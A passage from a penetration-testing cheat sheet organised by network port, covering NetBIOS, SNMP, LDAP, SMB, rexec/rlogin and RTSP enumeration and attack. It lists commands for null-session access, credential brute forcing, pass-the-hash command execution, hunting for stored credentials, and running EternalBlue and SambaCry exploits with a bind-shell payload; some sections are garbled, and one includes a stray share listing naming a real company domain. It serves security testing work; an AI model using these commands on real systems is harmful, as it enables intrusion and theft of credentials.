| `UNIQUE` | `1D`   | `NetBIOS` domain or workgroup name | `Master Browser`, part of the `Browser Service`, replaced by Windows Active Directory since `Windows XP` and only provided for backward compatibility reasons. Only one server acts as the `Master Browser` in a link-local subnetwork.                                                                                                              |
| `GROUP`  | `00`   | `NetBIOS` domain or workgroup name | Windows `Workstation` service. Registers the system in a workgroup or Active Directory domain and yields for value the Active Directory domain or workgroup the system is integrated to.                                                                                                                                                             |
| `GROUP`  | `1C`   | `NetBIOS` domain name              | Registered on systems that are `Domain Controller` in an Active Directory domain.                                                                                                                                                                                                                                                                    |

Additionally, while `NetBIOS` is completely independent from the `Server Message Block (SMB)` protocol, `SMB` does rely on `NetBIOS` (`SMB` over `NBT`, `TCP` port 139) for communication with systems that do not support direct hosting of `SMB` over `TCP/IP`.

### Network scan

`nmap` can be used to scan the network for exposed `NetBIOS` services:

```
nmap -v -sS -sU -sV -sC -p U:137,T:137,138,139 -oA nmap_netbios <RANGE | CIDR>
```

### NetBIOS name resolution and name table enumeration

The Windows `nbtstat` and the Linux `nmblookup` utilities can be used to resolve `NetBIOS` name and retrieve the remote system `NetBIOS` name table information:

```
# Linux
# Performs NetBIOS name resolution
nmblookup <NETBIOS_NAME>
# Lists the remote machine's name table given its NetBIOS name / IP address
nmblookup -A <NETBIOS_NAME | IP>

# Windows
# Lists the remote machine's name table given its NetBIOS name / IP address
nbtstat -a <NETBIOS_NAME>
nbtstat -A <IP>
```

### SMB over NetBIOS

If the `NetBIOS` `session service` is accessible on the remote system, on `TCP` port 139, but not the `SMB` service, `SMB` over `NBT` can be used to access remote network shares or execute commands through `PsExec`-like utilities.

```
# If no username provided, null session assumed
smbmap -P 139 [-d <DOMAIN>] [-u <USERNAME>] [-p <PASSWORD | HASH>] (-H <HOSTNAME | IP> | --host-file <FILE>)  

# TARGETS can be IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containing a list of targets
crackmapexec <TARGETS> --port 139 [-M <MODULE> [-o <MODULE_OPTION>]] (-d <DOMAIN> | --local-auth) -u <USERNAME | USERNAMES_FILE> (-p <PASSWORD | PASSWORDS_FILE> | -H <HASH>) [--sam] [-x <COMMAND> | -X <PS_COMMAND>]
```

For more information, refer to the `[L7] 445 - SMB` and `[Windows] Lateral movements` notes.

### NBT-NS poisoning

Responses to the broadcasted `NBNS` name resolution requests can be spoofed, in order to intercept local network traffic. The interception can, notably, be used to capture, and eventually relay, local network `SMB` authentication requests.

For more information, refer to the `[ActiveDirectory] NTLM Relaying` note.

***

### References

<https://www.itprotoday.com/compute-engines/knowing-angles-netbios-suffixes> <https://www.itprotoday.com/compute-engines/what-are-netbios-suffixes-16th-character> Network Security Assessment: Know Your Network Windows NT TCP/IP Network Administration


# 161 - SNMP

### Overview

Simple Network Management Protocol (SNMP) is an Internet-standard protocol for collecting and organizing information about managed devices on IP networks and for modifying that information to change device behavior.

SNMP operates in the Application Layer of the Internet Protocol Suite (Layer 7 of the OSI model).

Devices that typically support SNMP include cable modems, routers, switches, servers, workstations, printers, and more.

SNMP exposes management data in the form of variables on the managed systems organized in a management information base (MIB) which describe the system status and configuration.\
These variables can then be remotely queried (and, in some circumstances, manipulated) by managing applications.

An SNMP device has a lot different counters and string values inside them that can be accessed using the SNMP protocol.

For example, a switch with 32 ports will have multiple counters for each port that indication each port's name, its status, its bandwidth usage and more. Many devices will keep counters indicating how many processes are running on them including which ones are using how much CPU and memory they are using.

Three significant versions of SNMP have been developed and deployed SNMPv1 is the original version of the protocol. More recent versions, SNMPv2c and SNMPv3, feature improvements in performance, flexibility and security.

**Operation**

In typical uses of SNMP, one or more administrative computers called managers have the task of monitoring or managing a group of hosts or devices on a computer network.\
Each managed system executes a software component called an agent which reports information via SNMP to the manager.

The SNMP agent receives requests on UDP port 161. The manager may send requests from any available source port to port 161 in the agent. The agent response will be sent back to the source port on the manager.

The manager receives notifications (Traps and InformRequests) on port 162. The agent may generate notifications from any available port.

When used with Transport Layer Security or Datagram Transport Layer Security requests are received on port 10161 and traps are sent to port 10162.

**Protocol data units**

SNMPv1 specifies five core protocol data units (PDUs). Two other PDUs, GetBulkRequest and InformRequest were added in SNMPv2 and the Report PDU was added in SNMPv3.

All SNMP PDUs are constructed as follows:

```
IP header | UDP header | version | community | PDU-type | request-id | error-status | error-index | variable bindings
```

The seven SNMP protocol data unit (PDU) types are as follows:

* GetRequest: A manager-to-agent request to retrieve the value of a variable or list of variables. Desired variables are specified in variable bindings. Retrieval of the specified variable values is to be done as an atomic operation by the agent. A Response with current values is returned.
* SetRequest: A manager-to-agent request to change the value of a variable or list of variables. Variable bindings are specified in the body of the request. Changes to all specified variables are to be made as an atomic operation by the agent. A Response with (current) new values for the variables is returned.
* GetNextRequest: A manager-to-agent request to discover available variables and their values. Returns a Response with variable binding for the lexicographically next variable in the MIB. The entire MIB of an agent can be walked by iterative application of GetNextRequest starting at OID 0. Rows of a table can be read by specifying column OIDs in the variable bindings of the request.
* GetBulkRequest: Optimized version of GetNextRequest. A manager-to-agent request for multiple iterations of GetNextRequest. Returns a Response with multiple variable bindings walked from the variable binding or bindings in the request. PDU specific non-repeaters and max-repetitions fields are used to control response behavior. GetBulkRequest was introduced in SNMPv2.
* Response: Returns variable bindings and acknowledgement from agent to manager for GetRequest, SetRequest, GetNextRequest, GetBulkRequest and InformRequest. Error reporting is provided by error-status and error-index fields. Although it was used as a response to both gets and sets, this PDU was called GetResponse in SNMPv1.
* Trap: Asynchronous notification from agent to manager. SNMP traps enable an agent to notify the management station of significant events by way of an unsolicited SNMP message.
* InformRequest: Acknowledged asynchronous notification. This PDU was introduced in SNMPv2 and was originally defined as manager to manager communication. Later implementations have loosened the original definition to allow agent to manager communications. As SNMP runs over UDP delivery of a Trap are not guaranteed, InformRequest fixes this by sending back an acknowledgement on receipt.

**Community strings**

The SNMP Community String is like a user id or password. It is sent along with each SNMP and allows (or denies) access to the SNMP device.

There are three community strings for SNMPv1-v2c-speaking devices:

* SNMP Read-only community string: enables a remote device to retrieve "read-only" information from a device. If the community string is correct, the device responds with the requested information. If the community string is incorrect, the device simply ignores the request and does not respond.
* SNMP Read-Write community string: used in requests for information from a device and to modify settings on that device.
* SNMP Trap community string: included when a device sends SNMP Traps.

### Network scan

`nmap` can be used to scan the network for exposed SNMP services:

```
nmap -v -sU -p 161,162 -sV -sC -oA nmap_snmp <RANGE | CIDR>
```

### SNMPv1 & SNMPv2c community strings bruteforce

Note: SNMP Community strings are used only by devices which support SNMPv1 and SNMPv2c protocol. SNMPv3 uses username/password authentication, along with an encryption key.

```
onesixtyone
patator
```

### Community strings query

```
smbwalk
```

### SNMPv3 authentication bruteforce

```
patator
```


# 389 / 3268 - LDAP

### Overview

LDAP directory services present data arranged in tree-like hierarchies in which each entry may have zero or more subordinate entries. This structure is called the Directory Information Tree, or DIT. Each tree has a single root entry, which is called the naming context.

All LDAP services must expose a special entry, called the `root DSE`, whose DN is the zero-length string and which contains, among others attributes, the `namingContexts` and the LDAP features supported by the LDAP service.

### Network scan

`nmap` can be used to scan the network for LDAP services:

```
nmap -v -p 389,636,3268,3269 -sV -sC -oA nmap_ldap <RANGE | CIDR>
```

The connection to the LDAP service can be tested using `curl`:

```
curl -k <ldap | ldaps>://<HOSTNAME | IP>:<PORT>
```

### NULL / anonymous binds

A NULL or anonymous bind is a LDAP `Bind Request` using Simple Authentication with a zero-length bind DN and/or a zero-length password.

A NULL / anonymous bind can be attempted using `ldapsearch`:

```
ldapsearch -x -h <HOSTNAME | IP> -s base namingcontexts
```

### LDAP queries

LDAP requires the specification of a search base DN for search queries, which specifies the base of the subtree in which the search will be constrained. The search base DN must be provided, but it may be the NULL DN. In such case, the search will be constrained to the `Root DSE`.

**CLI**

The Linux command-line utility `ldapsearch` can be used to make LDAP query to a LDAP service, using NULL / anonymous or bind DN authentication:

```
# NULL / anonymous bind
ldapsearch -x -h <HOSTNAME | IP> -p <PORT> [...]
ldapsearch -x -H <ldap | ldaps>://<HOSTNAME | IP>:<PORT> [...]

# Bind DN authentication
# <ROOT>: base domain distinguished name, i.e "DC=AD,DC=COM" for example
ldapsearch -x -h <HOSTNAME | IP> -p <PORT> -D "CN=<USERNAME>,OU=<OU>[...],<ROOT>" -w <PASSWORD> [...]
ldapsearch -H <ldap | ldaps>://<HOSTNAME | IP>:<PORT> -D "CN=<USERNAME>,OU=<OU>[...],<ROOT>" -w <PASSWORD> [...]

# Retrieves the namingContexts
# The base scope option - specified using "-s base" - indicates that only the entries at the level specified by the base DN (and none of its child entries) should be considered.
ldapsearch -x -h <HOSTNAME | IP> -s base namingcontexts

# Retrieves all objects in the specified base DN
# To retrieve all information in a tree, the naming context of the tree can be specified
# The sub scope option - specified using "-s sub" - indicates that the entries at the level and all of its subordinates to any depth should be considered
ldapsearch -x -h <HOSTNAME | IP> -s sub -b "<NAMING_CONTEXT | BASEDN>" "(objectclass=*)"
```

If the connection fails with the following error message `ldap_result: Can't contact LDAP server (-1)`, the SSL/TLS certificate presented by the service may not be valid. The certificate verification can be bypassed by setting the `LDAPTLS_REQCERT` to `never`:

```
LDAPTLS_REQCERT=never ldapsearch -H ldaps://[...]
```

**GUI**

The `Apache Directory Studio` or the more lightweight [`LdapAdmin.exe`](https://sourceforge.net/projects/ldapadmin/) (Windows only) can be used to retrieve and modify data stored in a `LDAP` directory through a graphical interface.

**Automated dump**

The `ldapdomaindump` utility can be used to automatically dump the content of a LDAP directory. If no credentials are provided, the directory dumping will be attempted through an anonymous bind.

```
ldapdomaindump <HOSTNAME | IP>
ldapdomaindump -at {NTLM,SIMPLE} -u <USERNAME> -p <PASSWORD> <HOSTNAME | IP>
```

***

### References

<https://ldap.com/dit-and-the-ldap-root-dse/> <https://ldapwiki.com/wiki/ANONYMOUS%20SASL%20Mechanism> <https://ldap.com/the-ldap-search-operation/> <https://docs.oracle.com/cd/E19476-01/821-0506/ldapsearch-examples.html>


# 445 - SMB

## SMB - Methodology

#### Overview

In a Windows environment, the Server Message Block (SMB) protocol is used to share folders and files between computers. Sensible information can be stored in shares accessible to unauthenticated users (NULL or GUEST session).

The SMB protocol has also been vulnerable to critical vulnerabilities, such as MS17-010, allowing for privileged system command execution.

#### Network scan

`nmap` and `nbtscan` can be used to scan the network for SMB services and exposed shares:

```
nmap -v -p 445 -sV -sC -oA nmap_smb <RANGE | CIDR>
nbtscan -r <RANGE>
```

#### Recon

The `nmap` `smb-os-discovery.nse` script attempts to determine the operating system, computer name, domain, workgroup, and current time over the SMB protocol.

```
nmap --script smb-os-discovery.nse -p 445 <HOST>
nmap -sU -sS --script smb-os-discovery.nse -p U:137,T:139 <HOST>
```

**Null session and guest access**

A null session refers to an unauthenticated NetBIOS session and allows unauthenticated access to the shared files as well as a large amounts of information about the machine, such as password policies, usernames, group names, machine names, user and host SIDs. This Microsoft feature existed in SMB1 by default and was later restricted in subsequent versions of SMB.

To detect and retrieve information about the machine through a null session, the `enum4linux` Perl / `enum4linux-ng.py` Python scripts as well as the `smbmap` can be used.

`enum4linux` being outdated, `enum4linux-ng.py` is recommended as the go to tool. In addition to enumerating the exposed shares, it will also perform `MSRPC` calls (using mainly `nmblookup`, `net`, `rpcclient` and `smbclientto`) to enumerate users, groups, password policy information, etc. For more information, refer to the `[L7] MSRPC` note.

Note that if the null session test if being performed from a domain-joined system, the current user and computer account can be implicitly used for the connection if a null authentication is not explicitly specified.

```
smbmap -H <HOSTNAME | IP>
smbmap -u "Guest" -H <HOSTNAME | IP>
smbmap -u "Invité" -H <HOSTNAME | IP>

enum4linux-ng.py -A -R <HOSTNAME | IP>
enum4linux <HOSTNAME | IP>

crackmapexec smb <HOSTNAME | IP> -u "" -p "" [--shares | -M spider_plus]
```

Standalone binaries of `smbmap`, `enum4linux-ng`, and `CrackMapExec` for Linux (Windows for `CrackMapExec`) are available on the following [`OffensivePythonPipeline` GitHub repository](https://github.com/Qazeer/OffensivePythonPipeline).

The following quick bash script can be used to combine a network scan and null session enumeration:

```
nbtscan -s ' ' <RANGE> | cut -d ' ' -f 1 | while read -r line ; do
  smbmap -H $line > smbmap_$line.txt
done
```

**Authenticated recon**

`enum4linux-ng.py` additionally supports authenticated queries:

```
enum4linux-ng.py -u "<USERNAME>" -pw "<PASSWORD>" -A -R <HOSTNAME | IP>
```

#### List accessible shares

Multiples tools can, and should, be used to list the shares available on the targeted server. Different tools may held different results depending of the system targeted.

If no credentials are provided, a null session will be attempted.

Note that the following tools may be able to retrieve different results. It is not unusual to be able to list the shares using one tool while the others could not retrieve the same information.

```
# If no username provided, null session assumed.
smbmap [-d <WORKGROUP | DOMAIN>] [-u <USERNAME>] [-p <PASSWORD | HASH>] (-H <HOSTNAME | IP> | --host-file <FILE>)
interlace -c "smbmap [-d <WORKGROUP | DOMAIN>] [-u <USERNAME>] [-p <PASSWORD | HASH>] -H _target_ 2>&1 > smbmap_output__cleantarget_.txt" [-t <CIDR_RANGE> | -tL <CIDR_RANGES_FILE>]

# nmap smb-enum-shares script will attempt to retrieve the file system path of the share.
nmap -v -sT -p 139,445 --script smb-enum-shares.nse <HOSTNAME | IP>
nmap -v -sU -sT -p U:137,T:139,445 --script smb-enum-shares.nse <HOSTNAME | IP>
nmap -v -sT -p 139,445 <HOSTNAME | IP> --script smb-enum-shares --script-args smbdomain=<DOMAIN/WORKGROUP>,smbusername=<USERNAME>,smbpassword=<PASSWORD>
nmap -v -sT -p 139,445 <HOSTNAME | IP> --script smb-enum-shares --script-args smbdomain=<DOMAIN/WORKGROUP>,smbusername=<USERNAME>,smbhash=<HASH>

crackmapexec <HOSTNAME | IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> [--shares | -M spider_plus]
crackmapexec <HOSTNAME | IP> -d <DOMAIN> -u <USERNAME> -H <HASH> [--shares | -M spider_plus]

msf > use auxiliary/scanner/smb/smb_enumshares

smbclient -U "" -N -L \\<HOSTNAME | IP>
# Some Windows servers do not support IP only and require the NetBIOS name to be specified.
smbclient -U "" -N -L \\<HOSTNAME> -I <IP>
# To authenticate as the specifed user. --pw-nt-hash to specify an NT hash instead of a cleartext password.
smbclient -U '<WORKGROUP | DOMAIN>\<USERNAME>' [--pw-nt-hash] -L \\<HOSTNAME | IP>

# Using the  Windows built-in net utility.
net view \\<HOSTNAME | IP> /all
```

The `SoftPerfect`'s' `NetScan` Windows graphical network scanner utility can be used to conduct IPv4 and IPv6 hosts discovery and network shares enumeration. `NetScan` integrates with the Windows built-in network share explorer and drive mapping functionalities. For more information, refer to the `General - Ports scan` note.

**Retrieve shared files or directories ACL**

The Windows `icals` and the Linux `smbcacls` utilities as well as the PowerShell cmdlet `Get-Acl` can be used to retrieve the detailed ACL of shared files and directories.

Note that `smbcacls` follows the same options input as `smbclient`.

Unitary file / directory ACL retrieval:

```
smbcacls -N "\\\\<HOSTNAME | IP>\\<SHARE>" <FILE | DIRECTORY>
smbcacls -U <USERNAME> [--pw-nt-hash] "\\\\<HOSTNAME | IP>\\<SHARE>" <FILE | DIRECTORY>

# runas /user:Guest /Netonly powershell.exe
icacls "\\<HOSTNAME | IP>\<SHARE>\<FILE | DIRECTORY>"
```

The following one-liner can be used on a Linux system to retrieve the ACL of a mounted share:

```
# Files and directories in the specified share, with an eventual specified directory.
# If no directory is specified, the share UNC path shouldn't end with a backslash (example of a valid path: '\\<HOSTNAME>\<SHARE>').

for i in $(/bin/ls /mnt/<LOCAL_MOUNT_POINT>[/<DIRECTORY>]); do echo "\n$i"; smbcacls -N '\\<HOSTNAME>\<SHARE>[\<DIRECTORY>]' $i 2>/dev/null; done

# Recursively retrieve the ACL of all files and directories in the specified share or directory
cd /mnt/<LOCAL_MOUNT_POINT>/[<DIRECTORY>]
for i in $(/usr/bin/find *); do echo "\n$i"; smbcacls -N '\\<HOSTNAME>\<SHARE>[\<DIRECTORY>]' $i; done
```

The following PowerShell one-liner can be used to recursively retrieve the ACL of all files and directories in a share:

```
Get-ChildItem "\\"\\<HOSTNAME | IP>\<SHARE>" -Recurse | Get-ACL | Select-Object Path, Owner, AccessToString, Group | Format-List
```

#### List, search and download files

Similarly as for shares listing, multiples tools can be used to access an exposed share.

`smbmap` provides files searching capabilities and automatic download of files matching the search criteria.

If no credentials are provided, a null session will be attempted.

```
smbmap [-d <WORKGROUP | DOMAIN>] [-u <USERNAME>] [-p <PASSWORD | NTLM_HASH>] -R <SHARE> (-H <HOSTNAME | IP> | --host-file <INPUT_FILE>)
smbmap [-d <WORKGROUP | DOMAIN>] [-u <USERNAME>] [-p <PASSWORD | NTLM_HASH>] -F <PATTERN> (-H <HOSTNAME | IP> | --host-file <INPUT_FILE>)

nmap -v -sT -p 139,445 <HOSTNAME | IP> --script smb-enum-shares,smb-ls --script-args maxdepth=-1
nmap -v -sT -p 139,445 <HOSTNAME | IP> --script smb-ls --script-args share=<SHARE>,maxdepth=-1
nmap -v -sT -p 139,445 <HOSTNAME | IP> --script smb-enum-shares,smb-ls --script-args smbdomain=<DOMAIN/WORKGROUP>,smbusername=<USERNAME>,smbpassword=<PASSWORD>,maxdepth=-1
nmap -v -sT -p 139,445 <HOSTNAME | IP> --script smb-enum-shares,smb-ls --script-args smbdomain=<DOMAIN/WORKGROUP>,smbusername=<USERNAME>,smbhash=<HASH>,maxdepth=-1

crackmapexec <HOSTNAME | IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> -shares <SHARE> --spider
crackmapexec <HOSTNAME | IP> -d <DOMAIN> -u <USERNAME> -H <HASH> -shares <SHARE> --spider

msf > use auxiliary/scanner/smb/smb_enumshares
set ShowFiles true
set SpiderShares true
```

`smbmap`, `metasploit` and `smbget` can be used to download, upload or delete a specific file:

```
smbmap [-d <WORKGROUP | DOMAIN>] [-u <USERNAME>] [-p <PASSWORD | NTLM_HASH>] --download/--upload/--delete <PATH> (-H HOSTNAME | IP | --host-file <INPUT_FILE>)

msf > use auxiliary/admin/smb/download_file

smbget -a -R smb://<HOSTNAME | IP>/<SHARE>
smbget -w <WORKGROUP | DOMAIN> -U <USERNAME> -R smb://<HOSTNAME | IP>/<SHARE>
```

**Interactive smbclient**

The Linux `smbclient` CLI tool can be used to interact with the a `SMB` or `SAMBA` share:

```
# NULL bind
smbclient -U "" -N "\\\\<HOSTNAME | IP>\\<SHARE>"

# To authenticate as USERNAME
smbclient [-W <WORKGROUP | DOMAIN>] -U "" "\\\\<HOSTNAME | IP>\\<SHARE>"

# --pw-nt-hash: specify an NT hash instead of a cleartext password.
smbclient -U '<WORKGROUP | DOMAIN>\<USERNAME>' [--pw-nt-hash] "\\\\<HOSTNAME | IP>\\<SHARE>"
```

The following basic commands can be used through the client (partial list):

```
# Display the file to stdout
get <REMOTE_FILE> -

# Download a file from the remote system
get	<REMOTE_FILE> [<LOCAL_FILE>]

# Upload a file to the remote system
put	<LOCAL_FILE> [<REMOTE_FILE>]

# Change directory
# Remote system directory
cd <DIRECTORY>
# Local system directory
lcd <DIRECTORY>

# Directory listing
# Remote system directory
ls <DIRECTORY>
# Local system directory
!ls <DIRECTORY>

# Show all available info on a file (create time, change time, etc.)
allinfo <FILE>
```

Alternatively, `impacket`'s `smbclient.py` can be used as well:

```
# To connect to the remote server.

# NTLM authentication
smbclient.py [-target-ip <TARGET_IP>] [-port [<PORT>]] [<DOMAIN>/]<USERNAME>[:<PASSWORD>]@<HOSTNAME | IP>
smbclient.py -hashes <LM_HASH:NT_HASH> [-target-ip <TARGET_IP>] [-port [<PORT>]] [[<DOMAIN>/]<USERNAME>@<HOSTNAME | IP>

# Kerberos authentication
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>
smbclient.py -k -no-pass -dc-ip <DC_IP> <HOSTNAME>
```

The following basic commands can be used through `smbclient.py` (partial list):

```
# Lists the available shares.
shares

# Connects to the specified share.
use <SHARENAME>

# Lists the files and directories in the current working directory (on remote).
ls [<REGEX>]

# Changes the current directory to the specified path.
cd <PATH>


```

## Then commands can be used

## shares

ADMIN$ C$ D$ IPC$ NETLOGON SYSVOL

## use SYSVOL

## dir

\*\*\* Unknown syntax: dir

## ls

drw-rw-rw- 0 Mon Aug 16 02:55:31 2021 . drw-rw-rw- 0 Mon Aug 16 02:55:31 2021 .. drw-rw-rw- 0 Wed Jun 29 08:51:48 2022 bycn.bouygues-construction.com

```

###### Recursive download of shared files

The `smbget` and `smbclient` utilities on Linux and the `PowerShell`
`Copy-Item` cmdlet on Windows can be used to recursively upload or download a
network share directories and files.

```

## Linux

## Supports recursive download

smbget --guest -n -R smb://\<IP | HOSTNAME>/ smbget \[-w ] -U \<USERNAME\[%]> smb://\<IP | HOSTNAME>/

## smbclient session - supports both recursive download and upload

mask "" recurse ON prompt OFF cd '\<PATH\_REMOTE\_DIR>' lcd '\<PATH\_LOCAL\_DIR>' mput / mget \*

## Windows

## Supports recursive download

Copy-Item -Recurse -Force -Verbose -Path '\\\<IP | HOSTNAME>\<SHARE>' -Destination \<OUTPUT\_DIR>

```

###### Mount shares

The share may also be mounted using the Linux `mount` utility tool (replacement
of smbmount):

```

## ro for read only and rw for read & write

## guest / no username for null session or specify an user with username=

## vers=1.0 if any error arise

mount -t cifs //\<HOSTNAME | IP>// /mnt/ -o rw,guest,vers=1.0 mount -t cifs //\<HOSTNAME | IP>// /mnt/ -o rw,username=,password=,vers=1.0

## In case of error: "mount error(112): Host is down", SMBv2 must be used

mount -t cifs //\<HOSTNAME | IP>// /mnt/ -o rw,user=Guest,vers=2.0 mount -t cifs //\<HOSTNAME | IP>// /mnt/ -o rw,user=,password=,vers=2.0

```

From a Windows system, the `net` bultin can be used:

```

## NULL session share mapping.

net use : \\\<HOSTNAME | IP>\<SHARE> "" /user:""

## Authenticated share mapping.

net use : \\\<HOSTNAME | IP>\<SHARE> /user:"\<WORKGROUP | DOMAIN>\<USERNAME>"

```

###### Distributed shares searching

*Agent Ransack*

The `Agent Ransack` GUI file searching tool can be used to conduct `grep` like
searches using the current Windows user identity and access rights. Both file
names or content can be searched, and one or multiple local or remote locations
may be specified.

`Agent Ransack` presents the advantage of displaying 4 lines surrounding the
hits and allowing easy access to files through the Windows explorer and any
other application defined in the context menu of the local system.

The tool supports regex use, such as follow:

```

OR AND

## Keywords search example.

pass OR secret OR pwd OR SecureString OR NetworkCredential OR credential OR Authorization: Basic OR key OR root:$ OR \<DOMAIN\_NAME>

````

*Snaffler*

[`Snaffler`](https://github.com/SnaffCon/Snaffler) is a C# utility to enumerate
and search sensitive data (mostly credentials) in a Active Directory
environment. `Snaffler` can also be used to search on a local filesystem.

`Snaffler` bundles a number of detection rules, detecting:
  - specific file extensions (such as `.vmdk`, `.vhdx`, `.kdbx`, `.ppk`, etc.)
  - exact file names (such as `id_rsa`, `shadow`, `NTDS.DIT`, etc.)
  - partial file names containing substring such as `secret`, `password`, etc.
  - sensitive content (such as `password`, `connectionString`, etc.) in
    text-based (by default) files.

More information on how `Snaffler` detect sensitive information can be found
on the project repository `README`.

```bash
# -s: Displays hits to stdout.
# -m <OUTPUT_DIR>: Automatically download matching files in the specified directory.
# -l <SIZE>: Limit the size of files in bytes to download. Defaults to 10MB (10485760 bytes).
# -u: Retrieve a list of interesting-looking accounts from the domain and uses them in searches.
# -r <XXXMB | SIZE>: Set the maximum size file (in bytes) to search inside for interesting strings. Defaults to 500k (524288 bytes).

# Enumerates computers and searches for files in the specified Active Directory domain.
Snaffler.exe [-s | -o <OUTPUT_PATH>] [-m <OUTPUT_DIR> [-l <SIZE>]] -u -r "<100000000 | SIZE>" -d <DOMAIN> -c <DC_IP | DC_HOSTNAME>

# Targets the specified computer(s).
Snaffler.exe [-s | -o <OUTPUT_PATH>] [-m <OUTPUT_DIR> [-l <SIZE>]] -u -r "<100000000 | SIZE>" -n <COMPUTER | COMPUTERS_LIST>

# Searches in the specified local folder.
Snaffler.exe [-s | -o <OUTPUT_PATH>] [-m <OUTPUT_DIR> [-l <SIZE>]] -u -r "<100000000 | SIZE>" -i <LOCAL_FOLDER>
````

#### Authentication brute force

The `patator` tool can be used to brute force credentials on the service:

```
patator smb_login host=<HOSTNAME | IP> user=FILE0 password=FILE1 0=<WORDLIST_USER> 1=<WORDLIST_PASSWORD> -x ignore:fgrep='NT_STATUS_LOGON_FAILURE'
```

#### Known vulnerabilities / CVE

Multiple known vulnerabilities affect the `SMB` protocol, that could allow if unpatched unauthenticated Remote Code Execution.

**Detection**

`nmap` can be used to check for the following exploits:

```
smb-vuln-ms08-067
smb-vuln-ms10-054
smb-vuln-ms10-061
smb-vuln-ms17-010 / cve-2017-7494
smb-vuln-regsvc-dos

nmap -v -p 139,445 --script=vuln <HOSTNAME | IP | CIDR>
```

**Symlink Directory Traversal**

Prerequisites:

* Samba before 3.3.11, 3.4.x before 3.4.6, and 3.5.x before 3.5.0rc3
* A writable share

Use the `metasploit` module `auxiliary/admin/smb/samba_symlink_traversal` to exploit a directory traversal flaw and create a directory that will link to the root filesystem.

<https://www.exploit-db.com/exploits/33599/>

**EternalBlue & SambaCry detection and exploitation**

A remote code execution vulnerability exists in the way that the Microsoft Server Message Block 1.0 (SMBv1) server handles certain requests. Write access to the exposed share is required. Successful exploitation result in a SYSTEM shell from an authenticated access.

*Detect vulnerability*

The `nmap` `smb-vuln-ms17-010.nse` and `smb-vuln-cve-2017-7494` scripts attempt to detect if a SMBv1 server is vulnerable to the remote code execution vulnerability MS17-010, a.k.a. EternalBlue (vulnerability exploited by WannaCry and Petya ransomware) or CVE-2017-7494 aka SambaCry.

The Metasploit `auxiliary/scanner/smb/smb_ms17_010` module can be used as well (supports host(s), range CIDR identifier, or hosts file).

```
msf> use auxiliary/scanner/smb/smb_ms17_010
# set RHOSTS file:<PATH>
# set THREADS <THREADS_NUMBER>

# EternalBlue
nmap --script smb-vuln-ms17-010.nse -p 445 <HOSTNAME | IP | CIDR>

# SambaCry
nmap --script smb-vuln-cve-2017-7494 -p 445 <HOSTNAME | IP | CIDR>
nmap --script smb-vuln-cve-2017-7494 --script-args smb-vuln-cve-2017-7494.check-version -p 445 <HOSTNAME | IP | CIDR>
```

If no share is available to unauthenticated users, the server may still be vulnerable for authenticated users, meaning finding credentials would lead to RCE. The following versions are vulnerable:

```
# EternalBlue
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010

# SambaCry
Samba 3.x after 3.5.0 and 4.x before 4.4.14, 4.5.x before 4.5.10, and 4.6.x before 4.6.4
```

*EternalBlue*

The following exploit may be used to achieve RCE through the EternalBlue vulnerability on Windows hosts:

```
# Windows 7 and Server 2008 R2 (x64) All Service Packs
msf> use exploit/windows/smb/ms17_010_eternalblue

# Windows NT 5.0 / 5.1 / 5.2 (Windows 2000 / Windows XP & Windows Server 2003)
# https://github.com/helviojunior/MS17-010
python send_and_execute.py <HOSTNAME | IP> <BINARY>
```

*SambaCry*

The following exploit may be used to achieve RCE through the SambaCry vulnerability on Linux hosts:

```
# Source
https://github.com/opsxcq/exploit-CVE-2017-7494

# Usage
exploit.py [-h] -t <HOSTNAME | IP> -e <EXECUTABLE> -s <REMOTESHARE> -r <REMOTEPATH> [-u <USER>] [-p <PASSWORD>] [-P <REMOTESHELLPORT>]

# The libbindshell-samba.so of the repository can be used to get a bind shell on the server :
# -e libbindshell-samba.so -r <SHARE>/libbindshell-samba.so
```

***

#### References

<https://www.petri.com/how-to-get-ntfs-file-permissions-using-powershell>


# 512 / 513 - REXEC / RLOGIN

The rexec and rlogin services are design to allow users of a network to execute commands remotely.\
However, those services do not provide any good means of authentication, so they may be abused to leverage an unauthenticated RCE.

### Network scan

Nmap can be used to scan the network for open rexec and rlogin services:

```
nmap -v -p 512,513 -A <RANGE | CIDR>
```

### Auth bruteforce

The nmap NSE scripts rexec-brute.nse and rlogin-brute.nse can be used to brute force the services, as well as the metasploit modules auxiliary/scanner/rservices/rexec\_login and auxiliary/scanner/rservices/rlogin\_login. If all tested credentials are returned as valid ("Valid credentials"), the services are vulnerable to unauthenticated access.

```
nmap -v -p 512 --script rexec-brute.nse <TARGET>
nmap -v -p 513 --script rlogin-brute.nse <TARGET>

msf > use auxiliary/scanner/rservices/rexec_login
msf > use auxiliary/scanner/rservices/rlogin_login
```

### CLI access

The rlogin CLI tool can be used to access a system:

```
rlogin [-8ELKd] [-e char] [-i user] [-l user] [-p port] host

rlogin -i root <HOST | IP>
```


# 554 - RTSP

### Overview

The Real Time Streaming Protocol (RTSP) is a non-stateless network control protocol designed for media streaming between endpoints.

RTSP defines a number of commands for controlling multimedia playback, which can be send both way, from client to server or vice versa.

The connection to a RTSP service is made using an RTSP URL of the following format: `rtsp://<HOSTNAME | IP>:<PORT>/<STREAM_ROUTE>`.

### Network scan

`nmap` can be used to scan the network for `RTSP` services:

```
nmap -v -p 554 -sV -sC -oA nmap_smb <RANGE | CIDR>
```

The `Cameradar` GO tool can be used to scan the network for RTSP services and conduct automated dictionary attacks on the stream route and username/password of the retrieved services.

```
# sudo service docker start

docker pull ullaakut/cameradar

# Scan ports 554, 5554, 8554
docker run ullaakut/cameradar -t <HOSTNAME | IP | CIDR | RANGE | FILE>

docker run <FILES_DIR_PATH>:/tmp/dictionaries ullaakut/cameradar -t <HOSTNAME | IP | CIDR | RANGE | FILE> -p "1-65535"-r <FILE_STREAM_ROUTES> -c <FILE_CREDENTIALS_JSON>
```

### RTSP stream access

The utility `VLC Media Player` can be used to access the video stream using `Open Network Stream` / `Ctrl + N` and specifying the RTSP URL in the following format:

```
rtsp://<HOSTNAME | IP>:<PORT>/<STREAM_ROUTE>
rtsp://<USERNAME>:<PASSWORD>@<HOSTNAME | IP>:<PORT>/<STREAM_ROUTE>
```


# 1099 - JavaRMI

### Overview

